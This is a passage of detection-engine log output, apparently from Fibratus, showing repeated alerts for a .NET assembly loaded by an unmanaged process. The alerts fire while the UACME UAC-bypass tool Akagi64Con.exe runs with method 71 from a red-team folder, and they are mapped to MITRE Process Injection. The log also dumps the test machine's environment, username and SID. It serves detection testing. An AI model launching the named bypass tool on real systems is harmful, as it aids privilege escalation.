Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022453 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8779841 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, rule.seq.link: 9665569474375319552, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022478 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8825691 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022478 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8825691 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: 